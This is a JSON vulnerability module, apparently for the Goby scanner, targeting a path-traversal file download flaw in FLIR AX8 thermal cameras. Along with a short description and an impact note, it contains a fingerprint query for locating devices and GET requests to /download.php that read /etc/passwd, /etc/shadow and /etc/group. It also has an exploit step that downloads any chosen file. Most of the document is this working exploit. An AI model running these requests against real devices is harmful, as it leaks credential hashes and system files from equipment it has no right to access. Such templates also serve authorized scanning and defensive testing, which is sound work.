{
  "Name": "FLIR-AX8 Arbitrary File Download Vulnerability",
  "Description": "Teledyne FLIR specializes in the design, development, manufacture, marketing and marketing of specialized technologies for enhanced situational awareness.\\nFLIR-AX8 has an arbitrary file download vulnerability.An attacker can use the vulnerability to download relevant system configuration files.",
  "Product": "FLIR AX8 71213294,FLIR AX8 71219303",
  "Homepage": "https://www.flir.cn",
  "DisclosureDate": "2021-07-06",
  "Author": "luckying1314@139.com",
  "GobyQuery": "header=\"lighttpd\"",
  "Level": "2",
  "Impact": "<p><span style=\"font-size: 14px;\">Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..</span><span style=\"font-size: 14px;\">\\ or..</span><span style=\"font-size: 14px;\">/) way to download or read a file outside the original specified path.</span><span style=\"font-size: 14px;\">The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system</span><br></p>",
  "Recommandation": "<p style=\"text-align: justify;\">The manufacturer has not provided the vulnerability fix solution, please pay attention to the manufacturer's home page to update:<span style=\"color: var(--primaryFont-color);\"><a href=\"https://www.flir.cn/\">https://www.flir.cn/</a></span></p>",
  "References": [
    "https://www.pwnwiki.org/index.php?title=%E8%8F%B2%E5%8A%9B%E7%88%BE_FLIR-AX8_download.php_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BC%89%E6%BC%8F%E6%B4%9E"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "file",
      "type": "createSelect",
      "value": "/etc/passwd,/etc/shadow,/etc/hosts",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "OR",
    {
      "Request": {
        "method": "GET",
        "uri": "/download.php?file=/etc/group",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "root",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/download.php?file=/etc/passwd",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "root",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/download.php?file=/etc/shadow",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "root",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/download.php?file={{{file}}}",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": [
    "fileread"
  ],
  "CVEIDs": null,
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": ["FLIR AX8 71213294,FLIR AX8 71219303"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}